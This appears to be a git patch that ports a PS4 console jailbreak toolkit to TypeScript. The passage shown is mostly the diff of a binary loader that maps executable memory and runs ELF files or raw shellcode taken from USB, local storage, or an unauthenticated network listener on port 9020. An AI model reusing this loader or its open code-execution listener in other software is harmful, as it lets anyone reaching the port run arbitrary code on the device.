From 665cbc2223a6eebf83232b4a9b750db2acd109ab Mon Sep 17 00:00:00 2001 From: Helloyunho Date: Sun, 25 Jan 2026 05:20:43 +0900 Subject: [PATCH] feat: ts port... again --- babel.config.json | 21 + eslint.config.ts | 1 + module-remover/index.js | 29 + package.json | 9 + src/download0/{binloader.js => binloader.ts} | 500 +-- src/download0/{config.js => config.ts} | 4 +- src/download0/{config_ui.js => config_ui.ts} | 269 +- src/download0/{defs.js => defs.ts} | 12 +- src/download0/{kernel.js => kernel.ts} | 1995 +++++------ src/download0/{languages.js => languages.ts} | 163 +- src/download0/lapse.js | 2933 ----------------- src/download0/lapse.ts | 2148 ++++++++++++ src/download0/{loader.js => loader.ts} | 128 +- src/download0/main-menu.js | 292 -- src/download0/main-menu.ts | 305 ++ ...ctrl_c0w_twins.js => netctrl_c0w_twins.ts} | 1284 ++++---- src/download0/payload_host.js | 471 --- src/download0/payload_host.ts | 471 +++ .../payloads/{explode.js => explode.ts} | 208 +- .../payloads/{ftp-server.js => ftp-server.ts} | 587 ++-- .../payloads/{web-ui.js => web-ui.ts} | 248 +- .../{stats-tracker.js => stats-tracker.ts} | 72 +- src/download0/types.js | 1021 ------ src/download0/types.ts | 1219 +++++++ src/download0/{userland.js => userland.ts} | 103 +- src/types/global.d.ts | 114 + src/types/jsmaf.d.ts | 76 + tsconfig.json | 9 +- types/globals.d.ts | 240 -- 29 files changed, 7134 insertions(+), 7798 deletions(-) create mode 100644 babel.config.json create mode 100644 module-remover/index.js rename src/download0/{binloader.js => binloader.ts} (52%) rename src/download0/{config.js => config.ts} (61%) rename src/download0/{config_ui.js => config_ui.ts} (51%) rename src/download0/{defs.js => defs.ts} (80%) mode change 100755 => 100644 rename src/download0/{kernel.js => kernel.ts} (77%) rename src/download0/{languages.js => languages.ts} (63%) delete mode 100755 src/download0/lapse.js create mode 100644 src/download0/lapse.ts rename src/download0/{loader.js => loader.ts} (57%) delete mode 100644 src/download0/main-menu.js create mode 100644 src/download0/main-menu.ts rename src/download0/{netctrl_c0w_twins.js => netctrl_c0w_twins.ts} (61%) delete mode 100644 src/download0/payload_host.js create mode 100644 src/download0/payload_host.ts rename src/download0/payloads/{explode.js => explode.ts} (58%) rename src/download0/payloads/{ftp-server.js => ftp-server.ts} (58%) rename src/download0/payloads/{web-ui.js => web-ui.ts} (53%) mode change 100755 => 100644 rename src/download0/{stats-tracker.js => stats-tracker.ts} (68%) delete mode 100644 src/download0/types.js create mode 100644 src/download0/types.ts rename src/download0/{userland.js => userland.ts} (57%) mode change 100755 => 100644 create mode 100644 src/types/global.d.ts create mode 100644 src/types/jsmaf.d.ts delete mode 100644 types/globals.d.ts diff --git a/babel.config.json b/babel.config.json new file mode 100644 index 0000000..129f7e4 --- /dev/null +++ b/babel.config.json @@ -0,0 +1,21 @@ +{ + "presets": [ + [ + "@babel/preset-env", + { + "targets": { + "safari": "10", + "esmodules": false + }, + "useBuiltIns": "usage", + "corejs": "3.6.5", + "modules": false + } + ], + ["@babel/preset-typescript"] + ], + "plugins": [ + ["./module-remover/index.js"] + ], + "ignore": ["./src/download0/vid"] +} \ No newline at end of file diff --git a/eslint.config.ts b/eslint.config.ts index 3d42a37..657a396 100644 --- a/eslint.config.ts +++ b/eslint.config.ts @@ -37,6 +37,7 @@ export default defineConfig([ 'no-fallthrough': 'off', 'no-new-native-nonconstructor': 'off', // we use our own BigInt 'no-extend-native': 'off', // we extend native for better usage + 'no-new': 'off', // TS duplicates '@typescript-eslint/no-unused-vars': 'off', diff --git a/module-remover/index.js b/module-remover/index.js new file mode 100644 index 0000000..c3260b7 --- /dev/null +++ b/module-remover/index.js @@ -0,0 +1,29 @@ +export default function () { + return { + name: 'module-remover', + + visitor: { + ImportDeclaration ( + path + ) { + path.remove() + }, + ExportNamedDeclaration ( + path + ) { + const { declaration, specifiers } = path.node + if (declaration) { + path.replaceWith(declaration) + } else if (specifiers.length > 0) { + path.remove() + } + }, + ExportDefaultDeclaration ( + path + ) { + const { declaration } = path.node + path.replaceWith(declaration) + } + }, + } +} diff --git a/package.json b/package.json index b87d80e..a7d3a2d 100644 --- a/package.json +++ b/package.json @@ -3,10 +3,19 @@ "module": "index.ts", "type": "module", "private": true, + "scripts": { + "build": "babel --extensions \".ts\" src --out-dir dist", + "lint": "eslint . --ext .ts,.js", + "lint:fix": "eslint . --ext .ts,.js --fix" + }, "peerDependencies": { "typescript": "^5" }, "devDependencies": { + "@babel/cli": "^7.28.3", + "@babel/core": "^7.28.5", + "@babel/preset-env": "^7.28.5", + "@babel/preset-typescript": "^7.28.5", "@eslint/js": "^9.39.2", "eslint": "^9.39.2", "globals": "^16.5.0", diff --git a/src/download0/binloader.js b/src/download0/binloader.ts similarity index 52% rename from src/download0/binloader.js rename to src/download0/binloader.ts index 205a599..a0ea60a 100644 --- a/src/download0/binloader.js +++ b/src/download0/binloader.ts @@ -1,3 +1,7 @@ +import { fn, BigInt, mem, utils } from 'download0/types' +import { libc_addr } from 'download0/userland' +import { show_success } from 'download0/loader' + // bin_loader.js - ELF/binary loader for PS4 after vue-after-free jailbreak // Ported from netflix N Hack for ps4 // @@ -5,7 +9,7 @@ // After lapse completes, call: binloader_init() // Define binloader_init function -binloader_init = function () { +export function binloader_init () { log('binloader_init(): Initializing binloader...') // Check dependencies @@ -17,69 +21,55 @@ binloader_init = function () { log('binloader_init(): Dependencies OK, initializing...') // thrd_create and thrd_join offsets in libc - var THRD_CREATE_OFFSET = 0x555A0 - var THRD_JOIN_OFFSET = 0x55410 + const THRD_CREATE_OFFSET = 0x555A0 + const THRD_JOIN_OFFSET = 0x55410 // Register thrd_create and thrd_join from libc - var thrd_create_addr = libc_addr.add(new BigInt(0, THRD_CREATE_OFFSET)) - var thrd_join_addr = libc_addr.add(new BigInt(0, THRD_JOIN_OFFSET)) + const thrd_create_addr = libc_addr.add(new BigInt(0, THRD_CREATE_OFFSET)) + const thrd_join_addr = libc_addr.add(new BigInt(0, THRD_JOIN_OFFSET)) - fn.register(thrd_create_addr, 'thrd_create', 'bigint') - fn.register(thrd_join_addr, 'thrd_join', 'bigint') + fn.register(thrd_create_addr, 'thrd_create', ['bigint', 'bigint', 'bigint'], 'bigint') + fn.register(thrd_join_addr, 'thrd_join', ['bigint', 'bigint'], 'bigint') - var thrd_create = fn.thrd_create - var thrd_join = fn.thrd_join + const thrd_create = fn.thrd_create + const thrd_join = fn.thrd_join log('thrd_create @ ' + thrd_create_addr.toString()) log('thrd_join @ ' + thrd_join_addr.toString()) // Register syscalls needed for binloader - var stat_sys, open_sys, read_sys, write_sys, close_sys, mmap_sys, bind_sys, listen_sys, accept_sys + fn.register(0xBC, 'stat_sys', ['bigint', 'bigint'], 'bigint') + const stat_sys = fn.stat_sys - if (typeof fn.stat_sys === 'undefined') { - fn.register(0xBC, 'stat_sys', 'bigint') - } - stat_sys = fn.stat_sys + fn.register(0x05, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint') + const open_sys = fn.open_sys - if (typeof fn.open_sys === 'undefined') { - fn.register(0x05, 'open_sys', 'bigint') - } - open_sys = fn.open_sys + fn.register(0x03, 'read_sys', ['bigint', 'bigint', 'bigint'], 'bigint') + const read_sys = fn.read_sys - if (typeof fn.read_sys === 'undefined') { - fn.register(0x03, 'read_sys', 'bigint') - } - read_sys = fn.read_sys + fn.register(0x04, 'write_sys', ['bigint', 'bigint', 'bigint'], 'bigint') + const write_sys = fn.write_sys - if (typeof fn.write_sys === 'undefined') { - fn.register(0x04, 'write_sys', 'bigint') - } - write_sys = fn.write_sys + fn.register(0x06, 'close_sys', ['number'], 'bigint') + const close_sys = fn.close_sys - if (typeof fn.close_sys === 'undefined') { - fn.register(0x06, 'close_sys', 'bigint') - } - close_sys = fn.close_sys + fn.register(0x1DD, 'mmap_sys', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint') + const mmap_sys = fn.mmap_sys - if (typeof fn.mmap_sys === 'undefined') { - fn.register(0x1DD, 'mmap_sys', 'bigint') - } - mmap_sys = fn.mmap_sys + fn.register(0x68, 'bind_sys', ['bigint', 'bigint', 'bigint'], 'bigint') + const bind_sys = fn.bind_sys - if (typeof fn.bind_sys === 'undefined') { - fn.register(0x68, 'bind_sys', 'bigint') - } - bind_sys = fn.bind_sys + fn.register(0x6A, 'listen_sys', ['bigint', 'bigint'], 'bigint') + const listen_sys = fn.listen_sys - if (typeof fn.listen_sys === 'undefined') { - fn.register(0x6A, 'listen_sys', 'bigint') - } - listen_sys = fn.listen_sys + fn.register(0x1E, 'accept_sys', ['bigint', 'bigint', 'bigint'], 'bigint') + const accept_sys = fn.accept_sys - if (typeof fn.accept_sys === 'undefined') { - fn.register(0x1E, 'accept_sys', 'bigint') - } - accept_sys = fn.accept_sys + fn.register(0x61, 'socket', ['number', 'number', 'number'], 'bigint') + const socket = fn.socket + + fn.register(0x69, 'setsockopt', ['number', 'number', 'number', 'bigint', 'number'], 'bigint') + const setsockopt = fn.setsockopt // Constants const BIN_LOADER_PORT = 9020 @@ -104,11 +94,11 @@ binloader_init = function () { const BL_SO_REUSEADDR = 4 // File open flags - var BL_O_RDONLY = 0 - var BL_O_WRONLY = 1 - var BL_O_RDWR = 2 - var BL_O_CREAT = 0x200 - var BL_O_TRUNC = 0x400 + const BL_O_RDONLY = 0 + const BL_O_WRONLY = 1 + const BL_O_RDWR = 2 + const BL_O_CREAT = 0x200 + const BL_O_TRUNC = 0x400 // USB and data paths (check usb0-usb4 like BD-JB does) const USB_PAYLOAD_PATHS = [ @@ -144,12 +134,12 @@ binloader_init = function () { const PT_LOAD = 1 // Helper: Round up to page boundary - function bl_round_up (x, base) { + function bl_round_up (x: number, base: number) { return Math.floor((x + base - 1) / base) * base } // Helper: Check for syscall error - function bl_is_error (val) { + function bl_is_error (val: number | BigInt) { if (val instanceof BigInt) { return val.hi === 0xffffffff } @@ -157,9 +147,9 @@ binloader_init = function () { } // Helper: Allocate string in memory and return address - function bl_alloc_string (str) { - var addr = mem.malloc(str.length + 1) - for (var i = 0; i < str.length; i++) { + function bl_alloc_string (str: string) { + const addr = mem.malloc(str.length + 1) + for (let i = 0; i < str.length; i++) { mem.view(addr).setUint8(i, str.charCodeAt(i)) } mem.view(addr).setUint8(str.length, 0) // null terminator @@ -167,14 +157,14 @@ binloader_init = function () { } // Helper: Check if file exists using stat() and return size, or -1 if not found - function bl_file_exists (path) { + function bl_file_exists (path: string) { log('Checking: ' + path) - var path_addr = bl_alloc_string(path) - var stat_buf = mem.malloc(0x78) + const path_addr = bl_alloc_string(path) + const stat_buf = mem.malloc(0x78) // Call stat(path, &stat_buf) - catch errors (file not found) try { - var ret = stat_sys(path_addr, stat_buf) + const ret = stat_sys(path_addr, stat_buf) if (bl_is_error(ret)) { log(' stat() failed - file not found') @@ -182,7 +172,7 @@ binloader_init = function () { } // Check st_mode at offset 0x08 to see if it's a regular file - var st_mode = mem.view(stat_buf).getUint16(0x08, true) + const st_mode = mem.view(stat_buf).getUint16(0x08, true) // Check S_ISREG (mode & 0xF000) == S_IFREG (0x8000) if ((st_mode & 0xF000) !== S_IFREG) { @@ -191,30 +181,30 @@ binloader_init = function () { } // st_size is at offset 0x48 in struct stat (int64_t) - var size = mem.view(stat_buf).getBigInt(0x48, true) - var size_num = size.lo + (size.hi * 0x100000000) + const size = mem.view(stat_buf).getBigInt(0x48, true) + const size_num = size.lo + (size.hi * 0x100000000) log(' Found: ' + size_num + ' bytes') return size_num } catch (e) { - log(' ' + e.message) + log(' ' + (e as Error).message) return -1 } } // Get file size using stat() - function bl_get_file_size_stat (path) { - var path_addr = bl_alloc_string(path) - var stat_buf = mem.malloc(0x78) + function bl_get_file_size_stat (path: string) { + const path_addr = bl_alloc_string(path) + const stat_buf = mem.malloc(0x78) try { - var ret = stat_sys(path_addr, stat_buf) + const ret = stat_sys(path_addr, stat_buf) if (bl_is_error(ret)) { return -1 } // st_size is at offset 0x48 - var size = mem.view(stat_buf).getBigInt(0x48, true) + const size = mem.view(stat_buf).getBigInt(0x48, true) return size.lo + (size.hi * 0x100000000) } catch (e) { return -1 @@ -222,29 +212,29 @@ binloader_init = function () { } // Read entire file into memory buffer - function bl_read_file (path) { + function bl_read_file (path: string) { // Use stat() to get file size - var size = bl_get_file_size_stat(path) + const size = bl_get_file_size_stat(path) if (size <= 0) { log(' stat failed or size=0') return null } - var path_addr = bl_alloc_string(path) - var fd = open_sys(path_addr, new BigInt(0, BL_O_RDONLY), new BigInt(0, 0)) + const path_addr = bl_alloc_string(path) + const fd = open_sys(path_addr, new BigInt(0, BL_O_RDONLY), new BigInt(0, 0)) if (bl_is_error(fd)) { log(' open failed') return null } - var fd_num = (fd instanceof BigInt) ? fd.lo : fd - var buf = mem.malloc(size) - var total_read = 0 + const fd_num = (fd instanceof BigInt) ? fd.lo : fd + const buf = mem.malloc(size) + let total_read = 0 while (total_read < size) { - var chunk = size - total_read > READ_CHUNK ? READ_CHUNK : size - total_read - var bytes_read = read_sys( + const chunk = size - total_read > READ_CHUNK ? READ_CHUNK : size - total_read + const bytes_read = read_sys( new BigInt(0, fd_num), buf.add(new BigInt(0, total_read)), new BigInt(0, chunk) @@ -267,13 +257,13 @@ binloader_init = function () { } // Write buffer to file - function bl_write_file (path, buf, size) { - var path_addr = bl_alloc_string(path) - var flags = BL_O_WRONLY | BL_O_CREAT | BL_O_TRUNC + function bl_write_file (path: string, buf: BigInt, size: number) { + const path_addr = bl_alloc_string(path) + const flags = BL_O_WRONLY | BL_O_CREAT | BL_O_TRUNC log(' write_file: open(' + path + ', flags=0x' + flags.toString(16) + ')') - var fd = open_sys(path_addr, new BigInt(0, flags), new BigInt(0, 0o755)) - var fd_num = (fd instanceof BigInt) ? fd.lo : fd + const fd = open_sys(path_addr, new BigInt(0, flags), new BigInt(0, 0o755)) + const fd_num = (fd instanceof BigInt) ? fd.lo : fd log(' write_file: fd=' + fd_num) if (bl_is_error(fd)) { @@ -281,10 +271,10 @@ binloader_init = function () { return false } - var total_written = 0 + let total_written = 0 while (total_written < size) { - var chunk = size - total_written > READ_CHUNK ? READ_CHUNK : size - total_written - var bytes_written = write_sys( + const chunk = size - total_written > READ_CHUNK ? READ_CHUNK : size - total_written + const bytes_written = write_sys( new BigInt(0, fd_num), buf.add(new BigInt(0, total_written)), new BigInt(0, chunk) @@ -304,10 +294,10 @@ binloader_init = function () { } // Copy file from src to dst - function bl_copy_file (src_path, dst_path) { + function bl_copy_file (src_path: string, dst_path: string) { log('Copying ' + src_path + ' -> ' + dst_path) - var data = bl_read_file(src_path) + const data = bl_read_file(src_path) if (data === null) { log('Failed to read source file') return false @@ -325,7 +315,7 @@ binloader_init = function () { } // Read ELF header from buffer - function bl_read_elf_header (buf_addr) { + function bl_read_elf_header (buf_addr: BigInt) { return { magic: mem.view(buf_addr).getUint32(0, true), e_entry: mem.view(buf_addr).getBigInt(ELF_HEADER.E_ENTRY, true), @@ -336,8 +326,8 @@ binloader_init = function () { } // Read program header from buffer - function bl_read_program_header (buf_addr, offset) { - var base = buf_addr.add(new BigInt(0, offset)) + function bl_read_program_header (buf_addr: BigInt, offset: number) { + const base = buf_addr.add(new BigInt(0, offset)) return { p_type: mem.view(base).getUint32(PROGRAM_HEADER.P_TYPE, true), p_flags: mem.view(base).getUint32(PROGRAM_HEADER.P_FLAGS, true), @@ -349,34 +339,34 @@ binloader_init = function () { } // Load ELF segments into mmap'd memory - function bl_load_elf_segments (buf_addr, base_addr) { - var elf = bl_read_elf_header(buf_addr) + function bl_load_elf_segments (buf_addr: BigInt, base_addr: BigInt) { + const elf = bl_read_elf_header(buf_addr) log('ELF: ' + elf.e_phnum + ' segments, entry @ ' + elf.e_entry.toString()) - for (var i = 0; i < elf.e_phnum; i++) { - var phdr_offset = (elf.e_phoff.lo + (elf.e_phoff.hi * 0x100000000)) + i * elf.e_phentsize - var segment = bl_read_program_header(buf_addr, phdr_offset) + for (let i = 0; i < elf.e_phnum; i++) { + const phdr_offset = (elf.e_phoff.lo + (elf.e_phoff.hi * 0x100000000)) + i * elf.e_phentsize + const segment = bl_read_program_header(buf_addr, phdr_offset) if (segment.p_type === PT_LOAD && !segment.p_memsz.eq(0)) { // Use lower 24 bits of vaddr to get offset within region - var seg_offset_num = segment.p_vaddr.lo & 0xffffff - var seg_addr = base_addr.add(new BigInt(0, seg_offset_num)) + const seg_offset_num = segment.p_vaddr.lo & 0xffffff + const seg_addr = base_addr.add(new BigInt(0, seg_offset_num)) // Copy segment data - var filesz = segment.p_filesz.lo + (segment.p_filesz.hi * 0x100000000) - var src_addr = buf_addr.add(segment.p_offset) + const filesz = segment.p_filesz.lo + (segment.p_filesz.hi * 0x100000000) + const src_addr = buf_addr.add(segment.p_offset) // Copy using mem API - for (var j = 0; j < filesz; j++) { - var byte = mem.view(src_addr).getUint8(j) + for (let j = 0; j < filesz; j++) { + const byte = mem.view(src_addr).getUint8(j) mem.view(seg_addr).setUint8(j, byte) } // Zero remaining memory (memsz - filesz) - var memsz = segment.p_memsz.lo + (segment.p_memsz.hi * 0x100000000) + const memsz = segment.p_memsz.lo + (segment.p_memsz.hi * 0x100000000) if (memsz > filesz) { - for (var j = filesz; j < memsz; j++) { + for (let j = filesz; j < memsz; j++) { mem.view(seg_addr).setUint8(j, 0) } } @@ -384,149 +374,160 @@ binloader_init = function () { } // Return entry point address - var entry_offset = elf.e_entry.lo & 0xffffff + const entry_offset = elf.e_entry.lo & 0xffffff return base_addr.add(new BigInt(0, entry_offset)) } // BinLoader object - var BinLoader = { + const BinLoader: { + data: BigInt | null, + data_size: number, + mmap_base: BigInt | null, + mmap_size: number, + entry_point: BigInt | null, + skip_autoclose: boolean, + init: (bin_data_addr: BigInt, bin_size: number) => void, + run: () => void + } = { data: null, data_size: 0, mmap_base: null, mmap_size: 0, entry_point: null, skip_autoclose: false, - } + init: function (bin_data_addr, bin_size) { + this.data = bin_data_addr + this.data_size = bin_size - BinLoader.init = function (bin_data_addr, bin_size) { - BinLoader.data = bin_data_addr - BinLoader.data_size = bin_size + // Calculate mmap size (round up to page boundary) + this.mmap_size = bl_round_up(bin_size, PAGE_SIZE) - // Calculate mmap size (round up to page boundary) - BinLoader.mmap_size = bl_round_up(bin_size, PAGE_SIZE) + // Allocate RWX memory using mmap + const prot = new BigInt(0, BL_PROT_READ | BL_PROT_WRITE | BL_PROT_EXEC) + const flags = new BigInt(0, BL_MAP_PRIVATE | BL_MAP_ANONYMOUS) - // Allocate RWX memory using mmap - var prot = new BigInt(0, BL_PROT_READ | BL_PROT_WRITE | BL_PROT_EXEC) - var flags = new BigInt(0, BL_MAP_PRIVATE | BL_MAP_ANONYMOUS) + const ret = mmap_sys( + new BigInt(0, 0), + new BigInt(0, this.mmap_size), + prot, + flags, + new BigInt(0xffffffff, 0xffffffff), // fd = -1 + new BigInt(0, 0) + ) - var ret = mmap_sys( - new BigInt(0, 0), - new BigInt(0, BinLoader.mmap_size), - prot, - flags, - new BigInt(0xffffffff, 0xffffffff), // fd = -1 - new BigInt(0, 0) - ) - - if (bl_is_error(ret)) { - throw new Error('mmap failed: ' + ret.toString()) - } - - BinLoader.mmap_base = ret - log('mmap() allocated at: ' + BinLoader.mmap_base.toString()) - - // Check for ELF magic - var magic = mem.view(bin_data_addr).getUint32(0, true) - - if (magic === ELF_MAGIC) { - log('Detected ELF binary, parsing headers...') - BinLoader.entry_point = bl_load_elf_segments(bin_data_addr, BinLoader.mmap_base) - } else { - log('Non-ELF binary, treating as raw shellcode (' + bin_size + ' bytes)') - // Copy raw binary - for (var i = 0; i < bin_size; i++) { - var byte = mem.view(bin_data_addr).getUint8(i) - mem.view(BinLoader.mmap_base).setUint8(i, byte) + if (bl_is_error(ret)) { + throw new Error('mmap failed: ' + ret.toString()) } - BinLoader.entry_point = BinLoader.mmap_base - } - log('Entry point: ' + BinLoader.entry_point.toString()) - } + this.mmap_base = ret + log('mmap() allocated at: ' + this.mmap_base.toString()) - BinLoader.run = function () { - log('Spawning payload thread using thrd_create...') + // Check for ELF magic + const magic = mem.view(bin_data_addr).getUint32(0, true) - // Allocate thread handle and result storage - var thread_handle = mem.malloc(8) // thrd_t handle - var thread_result = mem.malloc(4) // int result - - // Initialize to 0 - mem.view(thread_handle).setBigInt(0, new BigInt(0, 0), true) - mem.view(thread_result).setUint32(0, 0, true) - - log('Entry point @ ' + BinLoader.entry_point.toString()) - - // Call thrd_create(thread_handle, entry_point, NULL) - // int thrd_create(thrd_t *thr, thrd_start_t func, void *arg); - log('Calling thrd_create...') - var ret = thrd_create( - thread_handle, // thrd_t *thr - BinLoader.entry_point, // thrd_start_t func - new BigInt(0, 0) // void *arg (NULL) - ) - - // thrd_success = 0 - if (ret.eq(0)) { - log('SUCCESS: Payload thread created!') - var thr_id = mem.view(thread_handle).getBigInt(0, true) - log('Thread handle: ' + thr_id.toString()) - // utils.notify("Payload loaded!\nThread spawned successfully"); - - // Check if autoclose is enabled - if (typeof CONFIG !== 'undefined' && CONFIG.autoclose && !BinLoader.skip_autoclose) { - log('CONFIG.autoclose enabled - terminating current process') - - if (!fn.getpid) fn.register(0x14, 'getpid', 'bigint') - if (!fn.kill) fn.register(0x25, 'kill', 'bigint') - - var pid = fn.getpid() - var pid_num = (pid instanceof BigInt) ? pid.lo : pid - log('Current PID: ' + pid_num) - log('Sending SIGKILL to PID ' + pid_num) - - fn.kill(pid, new BigInt(0, 9)) + if (magic === ELF_MAGIC) { + log('Detected ELF binary, parsing headers...') + this.entry_point = bl_load_elf_segments(bin_data_addr, this.mmap_base) } else { + log('Non-ELF binary, treating as raw shellcode (' + bin_size + ' bytes)') + // Copy raw binary + for (let i = 0; i < bin_size; i++) { + const byte = mem.view(bin_data_addr).getUint8(i) + mem.view(this.mmap_base).setUint8(i, byte) + } + this.entry_point = this.mmap_base + } + + log('Entry point: ' + this.entry_point.toString()) + }, + run: function () { + if (this.entry_point === null) { + throw new Error('BinLoader not initialized properly - no entry point') + } + + log('Spawning payload thread using thrd_create...') + + // Allocate thread handle and result storage + const thread_handle = mem.malloc(8) // thrd_t handle + const thread_result = mem.malloc(4) // int result + + // Initialize to 0 + mem.view(thread_handle).setBigInt(0, new BigInt(0, 0), true) + mem.view(thread_result).setUint32(0, 0, true) + + log('Entry point @ ' + this.entry_point.toString()) + + // Call thrd_create(thread_handle, entry_point, NULL) + // int thrd_create(thrd_t *thr, thrd_start_t func, void *arg); + log('Calling thrd_create...') + const ret = thrd_create( + thread_handle, // thrd_t *thr + this.entry_point, // thrd_start_t func + new BigInt(0, 0) // void *arg (NULL) + ) + + // thrd_success = 0 + if (ret.eq(0)) { + log('SUCCESS: Payload thread created!') + const thr_id = mem.view(thread_handle).getBigInt(0, true) + log('Thread handle: ' + thr_id.toString()) + // utils.notify("Payload loaded!\nThread spawned successfully"); + + // Check if autoclose is enabled + if (typeof CONFIG !== 'undefined' && CONFIG.autoclose && !BinLoader.skip_autoclose) { + log('CONFIG.autoclose enabled - terminating current process') + + fn.register(0x14, 'getpid', [], 'bigint') + fn.register(0x25, 'kill', ['bigint', 'bigint'], 'bigint') + + const pid = fn.getpid() + const pid_num = (pid instanceof BigInt) ? pid.lo : pid + log('Current PID: ' + pid_num) + log('Sending SIGKILL to PID ' + pid_num) + + fn.kill(pid, new BigInt(0, 9)) + } else { // Call thrd_join to wait for thread completion // int thrd_join(thrd_t thr, int *res); - log('Waiting for thread to complete (thrd_join)...') - var join_ret = thrd_join( - thr_id, // thrd_t thr - thread_result // int *res - ) + log('Waiting for thread to complete (thrd_join)...') + const join_ret = thrd_join( + thr_id, // thrd_t thr + thread_result // int *res + ) - if (join_ret.eq(0)) { - var result_val = mem.view(thread_result).getUint32(0, true) - log('Thread completed successfully with result: ' + result_val) - } else { - log('WARNING: thrd_join returned: ' + join_ret.toString()) + if (join_ret.eq(0)) { + const result_val = mem.view(thread_result).getUint32(0, true) + log('Thread completed successfully with result: ' + result_val) + } else { + log('WARNING: thrd_join returned: ' + join_ret.toString()) + } + + log('Binloader complete - thread has finished') } - - log('Binloader complete - thread has finished') + } else { + log('ERROR: thrd_create failed with return value: ' + ret.toString()) + throw new Error('Failed to spawn payload thread') } - } else { - log('ERROR: thrd_create failed with return value: ' + ret.toString()) - throw new Error('Failed to spawn payload thread') } } // Create listening socket - function bl_create_listen_socket (port) { - var sd = socket(BL_AF_INET, BL_SOCK_STREAM, 0) - var sd_num = (sd instanceof BigInt) ? sd.lo : sd + function bl_create_listen_socket (port: number) { + const sd = socket(BL_AF_INET, BL_SOCK_STREAM, 0) + const sd_num = (sd instanceof BigInt) ? sd.lo : sd if (bl_is_error(sd)) { throw new Error('socket() failed') } // Set SO_REUSEADDR - var enable = mem.malloc(4) + const enable = mem.malloc(4) mem.view(enable).setUint32(0, 1, true) setsockopt(sd_num, BL_SOL_SOCKET, BL_SO_REUSEADDR, enable, 4) // Build sockaddr_in - var sockaddr = mem.malloc(16) - for (var j = 0; j < 16; j++) { + const sockaddr = mem.malloc(16) + for (let j = 0; j < 16; j++) { mem.view(sockaddr).setUint8(j, 0) } mem.view(sockaddr).setUint8(1, 2) // AF_INET @@ -534,7 +535,7 @@ binloader_init = function () { mem.view(sockaddr).setUint8(3, port & 0xff) // port low byte mem.view(sockaddr).setUint32(4, 0, true) // INADDR_ANY - var ret = bind_sys(new BigInt(0, sd_num), sockaddr, new BigInt(0, 16)) + let ret = bind_sys(new BigInt(0, sd_num), sockaddr, new BigInt(0, 16)) if (bl_is_error(ret)) { close_sys(sd_num) throw new Error('bind() failed') @@ -550,15 +551,15 @@ binloader_init = function () { } // Read payload data from client socket - function bl_read_payload_from_socket (client_sock, max_size) { - var payload_buf = mem.malloc(max_size) - var total_read = 0 + function bl_read_payload_from_socket (client_sock: number, max_size: number) { + const payload_buf = mem.malloc(max_size) + let total_read = 0 while (total_read < max_size) { - var remaining = max_size - total_read - var chunk_size = remaining < READ_CHUNK ? remaining : READ_CHUNK + const remaining = max_size - total_read + const chunk_size = remaining < READ_CHUNK ? remaining : READ_CHUNK - var read_size = read_sys( + const read_size = read_sys( new BigInt(0, client_sock), payload_buf.add(new BigInt(0, total_read)), new BigInt(0, chunk_size) @@ -584,10 +585,10 @@ binloader_init = function () { } // Load and run payload from file - bl_load_from_file = function (path, skip_autoclose) { + function bl_load_from_file (path: string, skip_autoclose: boolean = true) { log('Loading payload from: ' + path) - var payload = bl_read_file(path) + const payload = bl_read_file(path) if (payload === null) { log('Failed to read payload file') return false @@ -600,19 +601,15 @@ binloader_init = function () { return false } - if (skip_autoclose === false) { - BinLoader.skip_autoclose = false - } else { - BinLoader.skip_autoclose = true - } + BinLoader.skip_autoclose = skip_autoclose try { BinLoader.init(payload.buf, payload.size) BinLoader.run() log('Payload loaded successfully') } catch (e) { - log('ERROR loading payload: ' + e.message) - if (e.stack) log(e.stack) + log('ERROR loading payload: ' + (e as Error).message) + if ((e as Error).stack) log((e as Error).stack ?? '') return false } @@ -620,30 +617,30 @@ binloader_init = function () { } // Network binloader (fallback) - bl_network_loader = function () { + function bl_network_loader () { log('Starting network payload server...') - var server_sock + let server_sock try { server_sock = bl_create_listen_socket(BIN_LOADER_PORT) } catch (e) { - log('ERROR: ' + e.message) - utils.notify('Bin loader failed!\n' + e.message) + log('ERROR: ' + (e as Error).message) + utils.notify('Bin loader failed!\n' + (e as Error).message) return false } - var network_str = ':' + BIN_LOADER_PORT + const network_str = ':' + BIN_LOADER_PORT log('Listening on ' + network_str) log('Send your ELF payload to this address') utils.notify('Binloader listening on:\n' + network_str) // Accept client connection - var sockaddr = mem.malloc(16) - var sockaddr_len = mem.malloc(4) + const sockaddr = mem.malloc(16) + const sockaddr_len = mem.malloc(4) mem.view(sockaddr_len).setUint32(0, 16, true) - var client_sock = accept_sys( + const client_sock = accept_sys( new BigInt(0, server_sock), sockaddr, sockaddr_len @@ -655,14 +652,14 @@ binloader_init = function () { return false } - var client_sock_num = (client_sock instanceof BigInt) ? client_sock.lo : client_sock + const client_sock_num = (client_sock instanceof BigInt) ? client_sock.lo : client_sock log('Client connected') - var payload + let payload try { payload = bl_read_payload_from_socket(client_sock_num, MAX_PAYLOAD_SIZE) } catch (e) { - log('ERROR reading payload: ' + e.message) + log('ERROR reading payload: ' + (e as Error).message) close_sys(client_sock_num) close_sys(server_sock) return false @@ -686,8 +683,8 @@ binloader_init = function () { log('Payload loaded successfully') show_success() } catch (e) { - log('ERROR loading payload: ' + e.message) - if (e.stack) log(e.stack) + log('ERROR loading payload: ' + (e as Error).message) + if ((e as Error).stack) log((e as Error).stack ?? '') return false } @@ -698,20 +695,20 @@ binloader_init = function () { function bin_loader_main () { log('=== PS4 Payload Loader ===') - for (var i = 0; i < payloads.length; i++) { - var payload = payloads[i] - log('Loading payload: ' + payload) - if (bl_file_exists(payload)) { - bl_load_from_file(payload, true) - } else { - log(payload + ' not found!') + if (typeof payloads !== 'undefined') { + for (const payload of payloads) { + log('Loading payload: ' + payload) + if (bl_file_exists(payload)) { + bl_load_from_file(payload, true) + } else { + log(payload + ' not found!') + } } } // Priority 1: Check for USB payload on usb0-usb4 (like BD-JB does) - for (var i = 0; i < USB_PAYLOAD_PATHS.length; i++) { - var usb_path = USB_PAYLOAD_PATHS[i] - var usb_size = bl_file_exists(usb_path) + for (const usb_path of USB_PAYLOAD_PATHS) { + const usb_size = bl_file_exists(usb_path) if (usb_size > 0) { log('Found USB payload: ' + usb_path + ' (' + usb_size + ' bytes)') @@ -730,7 +727,7 @@ binloader_init = function () { } // Priority 2: Check for cached /data payload - var data_size = bl_file_exists(DATA_PAYLOAD_PATH) + const data_size = bl_file_exists(DATA_PAYLOAD_PATH) if (data_size > 0) { log('Found cached payload: ' + DATA_PAYLOAD_PATH 